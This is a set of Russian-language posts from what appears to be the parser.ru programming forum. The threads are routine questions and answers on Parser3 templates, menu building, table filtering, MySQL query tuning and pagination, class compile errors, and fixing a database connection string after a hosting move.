								^if(^hRewrite.contains[$hHandler.path]){\
									^rem{ *** for simplicity don't allow to have 2 handlers with the same path *** }\
									$result.sError[Duplicate path while processing rewrites is found]\
								}{\
									$hRewrite.[$hHandler.path][$sPiece]\
									$sURI[${hHandler.full_path}$sTail]\
									$bContinue(true)\
								}\
							}{\
								$result.sError[Link to not existed handler ($hObject.child_handler_object_id) is found]\
							}\
						}\
\
						^case[DEFAULT]{\
							$result.sError[Unknown rewrite type ($iTypeID)]\
						}\
					}\
\
					$result.hLog.[^result.hLog._count[]][\
						$.sOriginURI[$sOriginURI]\
						$.iTypeID($iTypeID)\
						$.sURI[$sURI]\
						$.hRewrite[^hash::create[$hRewrite]]\
					]\
				}\
			}\
		}\
	}\
	^iWatchDogCount.dec[]\
}\
\
^if($iWatchDogCount==0){\
	$result.sError[Too many cycles while processing rewrites]\
}\
\
$result.bFound($bFound)\
\
\
\
\
@getParentsFullPaths[sFullPath][sURI;tURI]\
$result[^table::create{sUri\
/}]\
\
$sFullPath[^sFullPath.trim[both;/]]\
\
^if(def $sFullPath){\
	$sURI[]\
	$tURI[^sFullPath.split[/][vl]]\
	^tURI.menu{\
		$sURI[$sURI/$tURI.piece]\
		^result.append{$sURI}\
	}\
}\
\
\
\
\
@getObjectsByFullPath[tFullPath;hParams]\
$reault[^table::sql{\
	SELECT\
		...\
	FROM\
		object\
	WHERE\
		full_path IN (^if($tFullPath){^tFullPath.menu{'$tFullPath.sUri'}[,]}{''})\
		...\
	ORDER BY\
		full_path\
}]\
\
\
\
\
@getObjectById[iID]\
$reault[^table::sql{\
	SELECT\
		...\
	FROM\
		object\
	WHERE\
		object_id = $iID\
		...\
}]\
[/code]"
"79939","спасибо большущее)\
лень - зло)"
"79940","Помогите, наставьте на путь истинный!\
Вот что есть:\
[code]<div>^levelOne.menu{\
		^if($levelOne.url eq $checkURL){\
			$levelOne.title<br>\
		}{\
			<a href=\"$levelOne.url\">$levelOne.title</a><br>\
		}\
	}</div><br>\
	<div>^levelTwo.menu{\
		^if($levelTwo.url eq $checkURL){\
			$levelTwo.title<br>\
		}{\
			<a href=\"$levelTwo.url\">$levelTwo.title</a><br>\
		}\
	}</div><br>\
	<div>^levelThree.menu{\
		^if($levelThree.url eq $checkURL){\
			$levelThree.title<br>\
		}{\
			<a href=\"$levelThree.url\">$levelThree.title</a><br>\
		}\
	}</div><br>\
	<div>^levelFour.menu{\
		^if($levelFour.url eq $checkURL){\
			$levelFour.title<br>\
		}{\
			<a href=\"$levelFour.url\">$levelFour.title</a><br>\
		}\
	}</div><br>\
^connect[$connect_string]{\
	$items[^table::sql{SELECT id, parent, block, title, url, cID FROM controller}]\
	$l1Item[^items.select($items.parent == 0)]\
	^if($l1Item){\
		$l1[^l1Item.menu{$l1Item.id}[,]]\
		$l2Item[^table::sql{SELECT id, parent, block, title, url, cID FROM controller WHERE parent IN ($l1)}]\
		^if($l2Item){\
			$l2[^l2Item.menu{$l2Item.id}[,]]\
			$l3Item[^table::sql{SELECT id, parent, block, title, url, cID FROM controller WHERE parent IN ($l2)}]\
			^if($l3Item){\
				$l3[^l3Item.menu{$l3Item.id}[,]]\
				$l4Item[^table::sql{SELECT id, parent, block, title, url, cID FROM controller WHERE parent IN ($l3)}]\
			}{}\
		}{}\
	}{}\
}\
$levelOne[^table::create{url	id	title}]\
^l1Item.menu{\
	^levelOne.append{^gURL[$l1Item.id]	$l1Item.id	$l1Item.title}\
}\
$levelTwo[^table::create{url	id	title}]\
^l2Item.menu{\
	^levelTwo.append{^gURL[$l2Item.id]	$l2Item.id	$l2Item.title}\
}\
$levelThree[^table::create{url	id	title}]\
^l3Item.menu{\
	^levelThree.append{^gURL[$l3Item.id]	$l3Item.id	$l3Item.title}\
}\
$levelFour[^table::create{url	id	title}]\
^l4Item.menu{\
	^levelFour.append{^gURL[$l4Item.id]	$l4Item.id	$l4Item.title}\
}[/code]\
Код получает сначала родителей, потом их детей, проверяет полученное значение и адрес страницы, если одинаково, то делаем, что хотим.\
Еще не дошел до того момента, когда нужно будет формировать древо меню в зависимости от положения пользователя на определенной странице.\
Код не расширяем и если будет 10 или хотя бы 5-6 уровень вложенности, то придется дописывать еще строки.\
Мой к вам вопрос, как примерно сделать гибкий код, который будет формировать ссылки сначала родителей, потом детей на основании заданного родителя.\
Например если страница главная, показываются родители, если второй уровень, то родитель и второй уровень, если третий, то второй и первый и третий и т.д.\
Для формирования всех ссылок без древовидной структуры использовал следующее:\
[code]@gURL[id][item;url;pID;parentID;mID]\
$mID($id)\
$pID{\
	$item[^items.select($items.id == $mID)]\
	$parentID($item.parent)\
}\
$pID\
^while($parentID){\
    $url[$item.url/$url]\
    $mID($item.parent)\
    $pID\
}\
$url[$item.url/$url]\
$result[/$url][/code]"
"79941","Все дерево достаете одним запросом а потом легко обходите в нужном направлении."
"79942","Здравствуйте, подскажите пожалуйста как исключить некоторые ссылки в навигации таба...\
\
Вот к примеру сайт Темы: http://tema.ru/travel/kiev.2013.14/ (таб сверху) Некоторые месяцы в виде ссылок, некоторые нет. https://yadi.sk/i/ermYzpKJUr7Lu\
\
Имеется файл file.cfg, его содержимое:\
[code]section_id	name	uri\
1	Иванов	/ivanov/\
2	Петров	/petrov/\
3	Сидаров	/sidarov/\
4	Ткачев	/tkachev/\
[/code]\
\
Содержание auto.p следующее:\
[code]\
@tab[]\
$sections[^table::load[/file.cfg]] \
^sections.menu{ ^tab_cell[] } \
\
@tab_cell[] \
^if($sections.uri eq $request:uri){ \
<nobr class=\"nowrap\"><span class=\"active\">$sections.name</span></nobr> }{ \
<nobr class=\"nowrap\"><span><a href=\"$sections.uri\" class=\"underline\">$sections.name</a></span></nobr>  }\
[/code]\
\
Поскажите как мне убрать ссылки с Петрова и Ткачева. Если убирать uri в файле file.cfg, его содержимое:\
[code]section_id	name	uri\
1	Иванов	/ivanov/\
2	Петров	\
3	Сидаров	/sidarov/\
4	Ткачев	\
[/code]\
Ссылки все равно остаются...\
\
Спасибо..."
"79943","Можно добавить еще один столбец в file.cfg\
\
[code]section_id	name	uri	class\
1	Иванов	/ivanov/\
2	Петров		nostyle	\
3	Сидаров	/sidarov/\
4	Ткачев		nostyle[/code]\
\
Получится вот так:\
[code]@tab_cell[] \
^if($sections.uri eq $request:uri){ \
<nobr class=\"nowrap\"><span class=\"active $sections.class\">$sections.name</span></nobr> }{ \
<nobr class=\"nowrap\"><span class=\"$sections.class\"><a href=\"$sections.uri\" class=\"underline\">$sections.name</a></span></nobr>}[/code]\
\
После в CSS прописать класс .nostyle cо стилями обратными стилям ссылок."
"79944","Логично. \
Большое спасибо... ;)"
"79945","Один большой недостаток, даже если делать стиль ссылки как обычный текст она все равно остается как ссылка...\
\
При нажатии на \"Ткачев\" страница обновляется..."
"79946","Если версия Парсера 3.4.1 и выше, то убрать uri в файле file.cfg и дописать условие:\
\
[code]\
@tab_cell[] \
^if(!def $sections.uri){ \
	<nobr class=\"nowrap\"><span>$sections.name</span></nobr>\
}($sections.uri eq $request:uri){\
	<nobr class=\"nowrap\"><span class=\"active\">$sections.name</span></nobr>\
}{ \
	<nobr class=\"nowrap\"><span><a href=\"$sections.uri\" class=\"underline\">$sections.name</a></span></nobr>\
}\
[/code]\
\
\
Если версия Парсера ниже 3.4.1, то можно сделать вложенное условие:\
\
[code]\
@tab_cell[] \
^if(!def $sections.uri){ \
	<nobr class=\"nowrap\"><span>$sections.name</span></nobr>\
}{\
	^if($sections.uri eq $request:uri){\
		<nobr class=\"nowrap\"><span class=\"active\">$sections.name</span></nobr>\
	}{ \
		<nobr class=\"nowrap\"><a href=\"$sections.uri\" class=\"underline\">$sections.name</a></nobr>\
	}\
}\
[/code]"
"79947","Стыдно должно быть такое спрашивать."
"79948","Есть код:\
[code]$is_show_form(1)\
	^if($is_show_form){\
		^untaint[html]{\
			<form method=\"post\" action=\"#\">\
				...Тело формы...\
			</form>\
		}\
	}\
\
^if(def $form:code){\
	^try{\
			^auth.setPasswdFromTemporary[$form:email;$form:name;$form:code]\
			^auth.logon[\
				$.[auth.logon][do]\
				$.[auth.name][$form:name]\
				$.[auth.passwd][$form:code]\
			]\
			$is_show_form(0)\
			<p class=\"nice-forgote\">Получите и распишитесь!<br><br><span style=\"font-size: 150%^;\">$form:code</span><br><br>\
			Рекомендуем зайти в <a href=\"../settings\">настройки аккаунта</a> и изменить его.<br><a href=\"../\">На главную</a></p>\
		}{\
			$exception.handled(1)\
			$errors[^auth.decodeError[]]\
			<p class=\"err\">^errors.menu{$errors.name}[, ]</p>\
		}\
	}\
\
	^if(def $form:do){\
		^try{\
			$sCode[^auth.setTemporaryPasswd[$form:[auth.email];$form:[auth.name]]]\
\
			^mail:send[ ... Тело письма ...]\
\
			$is_show_form(0)\
			<p class=\"nice\">На ваш электронный адрес высланы дальнейшие указания.</p>\
		}{\
			$exception.handled(1)\
			$errors[^auth.decodeError[]]\
			<p class=\"err\">^errors.menu{$errors.dis}[<br> ]</p>\
		}\
	}[/code]\
\
Форма не скрывается после отправки и видна при переходе по ссылке из письма. Что не так?"
"79951","P.S. то, что написано в доке по uri и http-header -- этому верить нельзя. исправим доку тоже :)"
"79953","Добрый день!\
Почти год пытался реализовать функционал сервиса онлайн помощи.\
Суть сервиса (его функционала):\
Есть комнаты/разделы с чатом по конкретной теме. Человек заходит на сайт, регистрируется, оплачивает месячный план, выбирает какую либо интересующую его тему, попадает на страницу с чатом. Пользователь видит одно простое окно с сообщениями и формой отправки сообщения, а администратор должен видеть N количество пользователей, которые должны равномерно распределяться по консультантам, которые находятся онлайн и назначены именно для этой комнаты.\
У меня нет необходимых знаний и опыта.\
Для меня проект сложный, для кого то он может быть легким.\
Кому интересно, пишите мне на почту mizteregoist@gmail.com\
В письме просьба указать стоимость и сроки выполнения.\
Бюджет небольшой, скажем так деньги обычного человека с небольшой ЗП, не организация.\
если найдутся добровольцы на бесплатной основе или силами форума, то проект можно вывести в opensourse.\
Спасибо за внимание."
"79957","а мне нужно на подобии [url=\"http://www.parser.ru/_/chat/\"]примера чата[/url], с вэб интерфейсом для менеджеров, и все. Я так понимаю на реализацию такого проекта простой зарплаты смертного не хватит))"
"79960","Здравствуйте, подскажите пожалуйста как реализовать сложную структуру вывода т.е.\
\
имеется файл people_a.cfg, который находится по адресу /11a/people_a.cfg\
структура файла следующая:\
\
[code]id	name	uri	dezhur	photo\
03	Иванов	/11a/ivanov/	5	/11a/ivanov/img.jpg\
04	Петров	/11a/petrov/	2	/11a/petrov/img.jpg\
03	Сидаров	/11a/sidarov/	 	/11a/sidarov/img.jpg\
05	Волков	/11a/volkov/	1	/11a/volkov/img.jpg\
04	Михаева	/11a/miheeva/	2	/11a/miheeva/img.jpg\
[/code]\
где:\
id — это категория успеваемости ученика (03 - троешник, 04 — хорошист, 05 - отличник)\
name — имя ученика \
uri — ссылка на страницу ученика\
dezhur — количеств дежурств в классе — данный показатель выставляется в ручную\
photo — ссылка где хранится фотография ученика\
\
Подскажите как мне сделать на станице 11a вывод учеников только которые участся хорошо т.е. на выходе должно получиться: \
\
Имя ученик (ввиде ссылки)	 количество дежурство	фото \
\
Я пытаюсь так вывести\
\
.....\
\
[code]@11a_cell[] \
^if(!def $sections.id eq 04 ){ \
	<nobr class=\"nowrap\"><span>$sections.name $sections.dezhur <img src=\"$sections.photo\" width=\"100\" height=\"100\" title=\"$sections.name\"></span></nobr>\
}($sections.uri eq $request:uri){\
	<nobr class=\"nowrap\"><span>$sections.name $sections.dezhur <img src=\"$sections.photo\" width=\"100\" height=\"100\" title=\"$sections.name\"></span></nobr>\
}{ \
	<nobr class=\"nowrap\"><span>$sections.name $sections.dezhur <img src=\"$sections.photo\" width=\"100\" height=\"100\" title=\"$sections.name\"></span></nobr>\
}[/code]"
"79962","объясните нам словами, что вы хотели сказать этим выражением:\
[quote]\
^if(!def $sections.id eq 04 ){\
[/quote]"
"79963","Эти выражением я собирался сделать условие, строка id должна быть равна 04 если она равна то выводится значения...\
\
P.S. Я понимаю где напортачил, не могу понять где. Или этот код весь не правильный?"
"79964","Это понятно :) \
\
@11a[] \
$sections[^table::load[/11a/people_a.cfg]] \
^sections.menu{^11a_cell[]}\
\
@11a_cell[]\
...."
"79965","^if(!def $sections.id)\
означает -- если значения нет вообще\
^if($sections.id eq 04)\
означает, что вы ищете значение \"04\"\
\
Вы не можете одновременно искать пустое и непустое\
+ Даже если вы захотите такое найти, конструкция будет выглядеть как\
^if(!def $sections.id && $sections.id eq 04)"
"79966","Не понятно. Смотрите пример в доке\
\
[code]@11a_cell[sections]\
\
# 1. загружаете всю таблицу\
$sections[^table::load[/11a/people_a.cfg]]\
\
# 2. получаете *новую* таблицу $sectionsOnlyFour , в которой уже будут *только* хорошисты:\
$sectionsOnlyFour[^sections.select($sections.id==04)]\
\
# 3. тут перебираете уже новую таблицу, выводите через .menu:\
^sectionsOnlyFour.menu{\
...\
}\
[/code]"
"79967","Советую начать с того, что поле id стоит переименовать в какой нибудь \"rating\", потому что id в подавляющем количестве случаев считается идентификатором записи. И подумайте насчет SQL и вытаскивании нужных записей из базы данных с помощью запроса а не шаманства с бубном.\
\
[code]$tLearners[^table::sql{SELECT * FROM learners WHERE rating = 4 AND class = '11a'}]\
^tLearners.menu{\
   ...\
}[/code]"
"79968","Как добавить запрос вида \
\
[code]^connect[$connect_string]{\
    $cars_img[^table::sql{select c.car_id,c.date,c.car_name,c.car_modification,c.price,c.mileage,c.color,i1.img_name\
      from cars c join images i1 on\
        c.car_id=i1.car_id\
        and i1.img_id=( select i2.img_id from images i2\
                  where i2.car_id= i1.car_id\
                 ORDER BY IMG_ID  \
        		 limit 1)\
    }]\
  }[/code]\
\
немного непонятно что c limit делать."
"79969","т.е. надо искать другие пути.\
в вашем случае кажется можно обойтись MIN(img_id)"
"79971","[code]SELECT\
	c.car_id,\
	c.date,\
	c.car_name,\
	c.car_modification,\
	c.price,\
	c.mileage,\
	c.color,\
	i.img_name\
FROM (\
	SELECT\
		car_id,\
		MIN(img_id) AS img_id\
	FROM images\
	GROUP BY car_id\
	ORDER BY NULL\
)           AS ci\
JOIN cars   AS c ON (c.car_id = ci.car_id)\
JOIN images AS i ON (i.img_id = ci.img_id)[/code]\
\
Но без схемы и данных сложно сказать, что будет лучше."
"79972","Кусок из таблицы images \
Таблица cars состоит из списка машин с их параметрами, сюда по ширине не влезет. \
Общие поля - car_id\
Смысл этой выборки - получение одного изображения для каждой машины.\
\
img_id car_id img_name\
883 146 146_733.JPG\
882 147 147_6.JPG\
881 147 147_5.JPG\
880 147 147_4.JPG\
879 147 147_3.JPG\
878 147 147_2.JPG\
790 122 122_7.JPG\
789 122 122_6.JPG\
788 122 122_5.JPG\
787 122 122_4.JPG\
786 122 122_3.JPG\
785 122 122_2.JPG\
784 122 122_1.JPG\
783 122 122_0.JPG"
"79973","Судя по плану выполнения, вариант с зависимым подзапросом лучше."
"79975","Для такой задачи лучше явно указывать главное изображение.\
И настраивать что показывать проще и выбирать элементарно обычным объединением с дополнительным критерием."
"79977","на самом деле мой первый вариант это фактически вариант G_Z, где часть условия вынесена из ON в WHERE. я обычно в ON оставляю только условие объединения таблиц, а фильтрацию выношу в WHERE, т.к. это мне кажется лучше с точки зрения логики. причём я всегда считал, что эти варианты абсолютно равнозначны и MySQL сам внутри приводит их к одному и тому-же. однако, судя по плану выполнения, это не так и вариант с WHERE лучше."
"79978","[quote]на самом деле мой первый вариант это фактически вариант G_Z, где часть условия вынесена из ON в WHERE. я обычно в ON оставляю только условие объединения таблиц, а фильтрацию выношу в WHERE, т.к. это мне кажется лучше с точки зрения логики[/quote]\
\
Меня приучили к обратному: всё, что относится к таблице писать в ON.\
Разницы быть не должно, но WHERE не разрастается.\
\
Касательно [code]SELECT\
	c.car_id,\
	c.date,\
	c.car_name,\
	c.car_modification,\
	c.price,\
	c.mileage,\
	c.color,\
	ci.img_name\
FROM\
  cars AS c\
  JOIN (\
	SELECT\
        i.car_id,\
        i.img_name,\
        MIN(i.img_id)\
	FROM\
        images AS i\
    GROUP BY\
        i.car_id\
  ) AS ci ON (c.car_id = ci.car_id)\
;[/code] есть пара оговорок:\
[code]	SELECT\
        i.car_id,\
        i.img_name,\
        MIN(i.img_id)\
	FROM\
        images AS i\
    GROUP BY\
        i.car_id[/code]\
MySQL [url=http://stackoverflow.com/questions/12699799/mysql-selecting-max-record-in-group-by/12699869#12699869]не всегда[/url] вернёт при такой группировке корректный img_name, если (не в данной задаче) img_id может повторяться — будут ошибки.\
Я всегда стараюсь достать только вычисленное поле и потом сделать дополнительное объединение, чтобы достать верные записи.\
\
Если порядок сгруппированных записей не важен, то лучше указывать у GROUP BY ещё ORDER BY NULL, это отключит встроенную сортировку MySQL по группируемым полям и избавит от filesort."
"79979","да, мой второй вариант -- это хак. другие сервера (mssql, oracle) на такое вообще будут ругаться."
"79980","Никогда не надо использовать для денег (цен и т.п.) вещественный тип. Для этого есть числа с фиксированной точностью — decimal, numeric."
"79982","[code](SELECT filename FROM galleryBody b WHERE realEstate.galleryId = b.galleryId ORDER BY imgMain DESC LIMIT 1) as filename,\
			(SELECT GROUP_CONCAT(filename ORDER BY imgSort,imgId SEPARATOR '::') AS filename FROM galleryBody b WHERE realEstate.galleryId = b.galleryId GROUP BY b.galleryId) as filename[/code]\
\
Первый вариант когда надо получить только одного изображение, второй если выводится несколько, во втором уже понятие главное изображение отсутствует, т.к. фотки можно отсортировать в ручную в объекте, а если они не отсортированы, то берем по очередности обновления."
"79983","На странице [url=\"www.parser.ru/download/nightly/\"]написано[/url], что последнее обновление было 07.07.2014, а ChangeLog обновлялся последний раз 29.10.2013. Не порядок!"
"79984","если кто-то хочет посмотреть список изменений (последнее время их не много), то он может сделать cvs update и затем самостоятельно сделать build ChangeLog (в WinCVS это делается из GUI в два клика)."
"79985","Каждая мелкая задача становится нетривиальной при попытке реализации.\
\
Вобщем запрос из предыдущего поста http://www.parser.ru/forum/?id=79968\
\
Хотя нет, там еще куча условий для фильтра.\
\
Выводится в виде одной страницы :\
http://сити-авто.рф\
\
Следующий этап - постраничный вывод по нескольку записей.\
\
Вопрос, что будет эффективней - один раз сложить результаты запроса с файл и забирать из него при открытии каждой страницы или вытаскивать запросом из базы при каждом открытии страницы?\
\
Сразу в голове возникла проблема, что выходит для каждого юзера нужен отдельный файл."
"79986","Если страниц не будет больше 100, то смысла хранить это в файле нет, и даже при наличии больше 100 страниц можно все оптимизировать.\
Просто механизм лимитом в mysql таков, что она каждый раз выбирает сначала все данные до необходимой точки и потом отдает вам.\
Решается эта проблема тем, что вы отдельно получается id того, что вам требуется показать и уже через where in получается список желаемого для вывода.\
Конечно если запросы однотипные есть смысл кэшировать ответы, но это спорный вариант все зависит от БД, скорости кэша. Как показывает практика сама БД успешно справляется с нагрузкой и своим кэшированием, а если нет то надо добавить индексов и оптимизировать запросы. Если у вас очень посещаемый сайт, стоит задуматься над тем, что у вас что-то не правильно и только потом думать как все это хорошо закэшировать."
"79988","[quote]Решается эта проблема тем, что вы отдельно получается id того, что вам требуется показать и уже через where in получается список желаемого для вывода.[/quote]\
Не понятно, если честно .\
 Собирается список нужных id и где-то хранится?"
"79989","для расчётов limit/offset, а также для вывода ссылок на драгие страницы можете использовать [URL=http://www.parser.ru/examples/mscroller/]готовый класс[/URL]"
"79990","Здравствуйте подскажите пожалуйста, почему происходит следующее:\
<img src=\"http://s52.radikal.ru/i138/1407/5c/c7a2fc1d2bf4.png\">\
\
https://yadi.sk/i/aCn1H-guWFMAW\
\
Код используется одинаковый, а выводит по разному т.е. двоеточие переносится на новую строчку. \
\
Результат:\
<img src=\"http://s019.radikal.ru/i615/1407/07/549474d0ffd1.png\">\
https://yadi.sk/i/DqICL22eWFNrT"
"79991","Не правильно вы поняли\
Запрос select * from table where куча условий LIMIT 9000, 10\
Придется выбрать все значения до 9000, получается будет лишняя выборка данных и проход по ним до 900 страницы, что жрет ЦПУ и память.\
Если сделать\
select id from table where куча условий LIMIT 9000, 10\
И потом \
SELECT * from table where id in (1,2,3,4,5 список айди)\
То такие два запроса будут намного быстрее чем один огромный.\
Это будет заметно при большом смещении в limit, хотя может даже ускорить и сложные запросы."
"79992","у вас перевод на другую строку где-то между ними."
"79993","[quote]Код используется одинаковый,[/quote]\
покажите его, этот код."
"79994","кроме того, я почти уверен, что на 9000 записях заметных тормозов не будет"
"79995","[code]\
@years_1997[]\
1997\
\
@years_1989[]\
1989\
\
@visit_1997[]\
$sections[^table::load[../_cfg/visit_1997.cfg]] \
^sections.menu{ ^visit_years_cell[] }\
\
@visit_1989[]\
$sections[^table::load[../_cfg/visit_1989.cfg]] \
^sections.menu{ ^visit_years_cell[] }\
\
@visit_years_cell[] \
^if(!def $sections.uri){ \
<span>$sections.name<span class=\"sign\">$sections.sign</span></span> }($sections.uri eq $request:uri){	\
<span><span class=\"tr_active_list\">$sections.name</span><span class=\"sign\">$sections.sign</span></span> }{ \
<span><a href=\"$sections.uri\" class=\"underline\">$sections.name</a><span class=\"sign\">$sections.sign</span></span> }\
\
@visit_tab_yaers_1997[]\
<p class=\"arhive_visit\"><span class=\"bold\">^years_1997[]:</span> ^visit_1997[]</p>\
\
@visit_tab_yaers_1989[]\
<p class=\"arhive_visit\"><span class=\"bold\">^years_1989[]:</span> ^visit_1989[]</p>\
[/code]\
\
Вывожу через \
^visit_tab_yaers_1997[]\
^visit_tab_yaers_1989[]"
"79996","скорее всего у вас после @years_1989[] есть пробелы/табы и переводы строк.\
вместо разборок почему так можно написать:\
@years_1989[]\
$result[1989]\
\
сразу в глаза бросается совершенно неправильный подход вида @years_1997[], @visit_1997[].\
\
цифры должны быть параметром, а не частью имени. тогда @years_1997[] + @years_1989[] превратиться в:\
[code]\
@years_title[year][result]\
$year\
[/code]\
\
и вызываться будут так:\
^year_title[1997] и ^year_title[1989]\
\
а @visit_1997[] и @visit_1989[] превратятся в:\
[code]\
@year_visit[year][result;sections]\
$sections[^table::load[../_cfg/visit_${year}.cfg]] \
^sections.menu{^visit_years_cell[$sections]}\
\
@visit_years_cell[sections]\
^if(!def $sections.uri){ \
	<span>$sections.name<span class=\"sign\">$sections.sign</span></span>\
}($sections.uri eq $request:uri){	\
	<span><span class=\"tr_active_list\">$sections.name</span><span class=\"sign\">$sections.sign</span></span>\
}{ \
	<span><a href=\"$sections.uri\" class=\"underline\">$sections.name</a><span class=\"sign\">$sections.sign</span></span>\
}\
[/code]\
\
глобальные переменные (я про sections) лучше стараться не использовать. ещё обратите внимание на то, как я отформатировал код метода visit_years_cell. разве не удобнее его стало читать?\
\
аналогично с @visit_tab_yaers_1997[] и @visit_tab_yaers_1989[].\
т.е. из 6 методов останется 3 (кода станет почти в 2 раза меньше при том-же функционале)."
"79997","А зачем нужны @years_1997[] и @years_1989[]? Не проще текстом?"
"79999","Ну кто его знает, какие там выборки, все зависит от данных )), например на форумах становится очень плохо, особенно когда в них обилие ББ кода. Да и что там, далеко ходить не надо, есть рядом интернет магазин, там там когда больше 200 товаров выбираешь с полными описанием уже плохо становится)). Уж очень подробно все описали. Это все к тому, что звездочка в запросе ЗЛО редкостное ))"
"80000","какая связь ББ кода с offset-ом?\
\
вот на этом форуме 400+ страниц, и ничего. хотя по rusage я вижу, что последняя страница медленнее, чем первая.\
\
а как достигают тормозов при 200 товаров я даже и не знаю.\
\
в любом случае надо сначала достигнуть этого  а потом что-то предпринимать. а не сразу начинать писать \"оптимальный\" код (тратя на него время), который может никогда и не потребуется."
"80001","все самое интересное в полях которые перечислены в select\
Если вы добавите в select получение еще содержимого поста, то тогда время на последних страницах изменится.\
\
Я же сразу написал, все зависит от контента, архитектуры базы.\
Я просто указал на тот факт, что есть такое, и не прошу сразу использоваться этот метод оптимизации."
"80002","> все самое интересное в полях которые перечислены в select\
> Если вы добавите в select получение еще содержимого поста, то тогда время на последних страницах изменится.\
\
да, но...\
\
может вообще на сайте будет максимум 200 новостей на 20 страницах?\
зачем сразу огород-то городить?\
если начнутся тормоза -- надо будет лишь подправить один простой конкретный тормозящий запрос."
"80003","Спасибо"
"80005","[code]\
@years_title[year][result]\
$year\
\
@years_1989[]\
$result[1989]\
\
@years_1997[]\
$result[1997]\
[/code]\
\
Вызываю года, выдает ошибку \
^year_title[1997] и ^year_title[1989]"
"80006","Я вводом разобрался :) Спасибо вам и документации и годами траблл :)"
"80009","Прошлый метод был, таким\
[code]\
@visit_tab_yaers_1997[]\
<p class=\"arhive_visit\"><span class=\"bold\">^years_1997[]:</span> ^visit_1997[]</p>\
\
[code]@visit_tab_yaers_1989[]\
<p class=\"arhive_visit\"><span class=\"bold\">^years_1989[]:</span> ^visit_1989[]</p>\
\
^visit_tab_yaers_1997[]\
^visit_tab_yaers_1989[]\
[/code]\
Т.к. как мы зменили ^years_1997[] и ^visit_1997[], на ^years_title[1997] и ^visit[1997], значил по идеи он должен быть таким: \
[code]\
@visit_tab_yaers_1997[]\
<p class=\"arhive_visit\"><span class=\"bold\">^years_title[1997]:</span> ^visit[1997]</p>\
\
@visit_tab_yaers_1989[]\
<p class=\"arhive_visit\"><span class=\"bold\">^years_title[1989]:</span> ^visit[1989]</p>\
\
^visit_tab_yaers_1997[]\
^visit_tab_yaers_1989[]\
[/code]\
\
Уменьшаем количество методов:\
[code]\
@visit_tab_yaers[year]\
<p class=\"arhive_visit\"><span class=\"bold\">^years_title[${year}]:</span> ^visit[${year}]</p>\
\
\
^visit_tab_yaers[1997] \
^visit_tab_yaers[1989] \
[/code]\
\
Подскажите верно сделал?"
"80010","[quote]Я просто указал на тот факт, что есть такое, и не прошу сразу использоваться этот метод оптимизации.[/quote] ;)"
"80011","если работает -- значит всё сделали правильно.\
\
только писать так:\
[code]\
^visit[${year}]\
[/code]\
-- избыточно. тут фигурные скобки не нужны, можно без них:\
[code]\
^visit[$year]\
[/code]\
\
почему их использовал я в том месте -- можете прочитать а FAQ-е."
"80012","Доброго утра:) \
Поиск по этой фразе не дал результатов, посему пощу. \
\
При исполнении следующего кода \
[code]@CLASS\
Jwhois\
\
@OPTIONS\
partial\
\
@auto3[]\
$whois[^hash::create[]]\
^ffrm[age gender]\
\
@CLASS\
MH\
\
@BASE \
Jhealpert\
#строка 81\
@med_out[]\
...\
[/code]\
Возникает следующая ошибка: \
\
Unhandled Exception (parser.compile)\
y:/home/diag2/www/medical/auto.p(81:17): can't set base while appending methods to class 'Jwhois'\
\
Увы, повторить в bug.html не удалось:(\
\
ПРоблема решилась переносом определения первого класса под второй, т.е. предполагаю, что дело в обработке переводов строк определения класса partial."
"80013","ошибка означает, что происходит попытка назначить BASE у уже созданного и зарегистрированного класса.\
\
парсер компилирует ваш код по порядку, т.е. встретив инструкцию:\
\
[code]\
@CLASS\
a\
[/code]\
\
он создаёт временный класс с именем \"a\", но в этот момент класс ещё не зарегистрирован и ожидается, что пользователь может определить какие-либо опции классу (@OPTIONS) или указать родительский класс (@BASE).\
\
как только парсер обработал все директивы создания класса и встретил первое определение метода (в вашем случае @auto3[]), происходит регистрация класса. после этого уже невозможно изменить опции классу или указать ему @BASE.\
\
судя по вашему сообщению об ошибке получается, что компилятор по какой-то причине проигнорировал это:[code]\
@CLASS\
MH\
[/code]\
\
и директиву:[code]\
@BASE \
Jhealpert\
[/code]\
\
он попытался применить к классу Jwhois. но этот класс уже зарегистрирован (есть определение методов выше), т.е. задать ему BASE в этот могмент невозможно.\
\
почему такое произошло я не представляю и без кода, который бы показал баг, найти это проблематично."
"80014","index.htm\
[code]@USE\
uses.p\
\
@main[]\
^Jwhois:tst[]\
\
@CLASS\
Jpartial\
\
@OPTIONS\
partial\
\
@tst[]\
tst.htm\
\
@CLASS\
Jinherit\
\
@BASE\
Jwhois\
\
@tst[]\
Jinherit\
[/code]\
\
\
uses.p\
[code]@CLASS\
Jpartial\
\
@OPTIONS\
partial\
\
@tst[]\
uses.p[/code]"
"80018","$SQL.connect-string что дальше прописать?"
"80019","а также:\
http://www.parser.ru/docs/lang/app3mysql.htm\
http://www.parser.ru/docs/lang/app3sqlite.htm\
http://www.parser.ru/docs/lang/app3odbc.htm\
http://www.parser.ru/docs/lang/app3pgsql.htm\
http://www.parser.ru/docs/lang/app3oracle.htm"
"80020","пустые страници.\
есть скрипт сайта .и его нужно перенести на другой хостинг.\
но вот где данные базы прописаны не могу понять.\
выдает ошыбку \
mysql://****@доменру.mysql/назвсайта?charset=utf8\
Unknown MySQL server host 'назвсайта.mysql' (11001)\
Z:/home/test1.ru/www/auto.p(174:2)\
connect	Z:/home/test1.ru/www/auto.p(174:2)\
morph	Z:/home/test1.ru/www/index.html(2:2)\
что это может быть?"
"80021","сама строка подключения\
$SQL.connect-string[mysql://доменру_mysql:bzqtcloj@доменру.mysql/назвсайта?charset=utf8]\
и поле ошибки\
^connect[$SQL.connect-string]{"
"80022","[quote]пустые страници.[/quote]\
попробуйте другой браузер (Fx 28, IE 11, Opera 12 -- всё OK)\
\
[quote]есть скрипт сайта .и его нужно перенести на другой хостинг.\
но вот где данные базы прописаны не могу понять.[/quote]\
скорее всего в конфигурационном auto.p, который обычно лежит рядом с exe/cgi (поиск по всем файлам сайта наверняка помог-бы)\
\
[quote]\
Unknown MySQL server host 'назвсайта.mysql' (11001)\
...\
что это может быть?\
[/quote]\
Ну... Unknown MySQL server host?"
"80023","поищите на сайте хостера, к которому вы переносите сайт, информацию о параметрах подключения к БД.\
\
оттуда вы узнаете, какие должны быть в вашем случае хост (у многих хостеров допускается только localhost при подключении с сайта) или socket, порт, логин, пароль и имя БД.\
эти пять сущностей нужно прописать в строку соединения, формат которой описан на страницах, ссылки на которые я вам уже дал.\
\
увы, мы не знаем ни вашего хостера, ни ваших параметров подключения к БД, поэтому подсказать вам, как выглядит конкретно ваша строка подключения к sql серверу для вашего сайта не можем."
